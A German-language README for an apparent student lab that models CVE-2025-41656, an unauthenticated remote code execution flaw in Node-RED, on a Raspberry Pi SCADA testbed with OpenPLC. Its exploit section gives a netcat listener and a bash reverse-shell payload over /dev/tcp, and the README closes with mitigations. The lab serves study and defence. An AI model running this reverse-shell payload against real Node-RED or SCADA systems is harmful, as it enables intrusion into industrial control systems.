CVE-2025-41656

Projektübersicht

Dieses Projekt dient der Modellierung von CVE-2025-41656, einer nicht authentifizierten Remote-Codeausführungs-Schwachstelle in NodeRED. Um diese Schwachstelle zu modellieren, haben wir ein SCADA-System im kompakten Formfaktor mit einem Raspberry Pi, einem Aktuator und einem Sensor aufgebaut. Der Raspberry Pi enthält einen NodeRED- und einen OpenPLC-Container, die über Modbus TCP miteinander kommunizieren, um den Aktuator zu steuern. Dies ist ein Python-Skript als Proof of Concept zur Durchführung des CVE-2025-41656-Angriffs. Das Ziel ist es, erfolgreich einen PoC zu erstellen und Abhilfemaßnahmen zur Absicherung des Systems zu finden.

Erste Schritte

Das Labor umfasst die folgenden Komponenten

• Rasberry Pi 3b+
• Docker-Compose-Datei mit NodeRED- und OpenPLC-Containern
• Einen Aktuator
• Einen Sensor
• Ein motorisiertes Gerät, das vom Aktuator gesteuert wird
• Hinweis: Der Aufbau hängt von der jeweiligen Hardware ab. Passen Sie ihn entsprechend an.

Softwareinstallation

git clone [email protected]:wallyschag/CVE-2025-41656.git
cd CVE-2025-41656
git clone https://github.com/thiagoralves/OpenPLC_v3.git

Docker-Einrichtung

rm OpenPLC_v3/Dockerfile && cp Dockerfile_WiringPi OpenPLC_v3/Dockerfile
docker compose up --build -d

• Überprüfen Sie, dass die Docker-Container und die Netzwerkbrücke gestartet und in Betrieb sind

docker container ls
docker network inspect csci587-final-project_scadanet

• Beide Docker-Container sollten gestartet sein.
• Stellen Sie außerdem sicher, dass beide Container mit dem Netzwerk verbunden sind und eine zugewiesene IP-Adresse haben.

Der Exploit

• Führen Sie auf dem Host-Rechner nc -lvnp 1234 aus
• Ersetzen Sie NODE_RED_IP und NODE_RED_PORT durch die IP-Adresse und den Port (1880) Ihres NodeRED-Dienstes in cve_2025_41656.py.
• Ändern Sie in cve_2025_41656 die IP-Adresse in der Zeile "command": "bash -c 'bash -i >& /dev/tcp/192.168.4.223/1234 0>&1'", in die IP-Adresse des Rechners, von dem aus Sie den Exploit starten.

python3 cve_2025_41656.py

• Sie sollten nun eine Reverse-Shell auf dem NodeRED-Container haben.

Gegenmaßnahmen

• Implementieren Sie TLS und einen Authentifizierungsmechanismus für NodeRED.
• Segmentieren Sie SCADA-Netzwerke, um unbefugten Zugriff auf NodeRED zu verhindern.
• Überwachen Sie Netzwerke mit NodeRED mithilfe von IDS/IPS-Systemen, um nach Reverse-Shell-Datenverkehr zu suchen.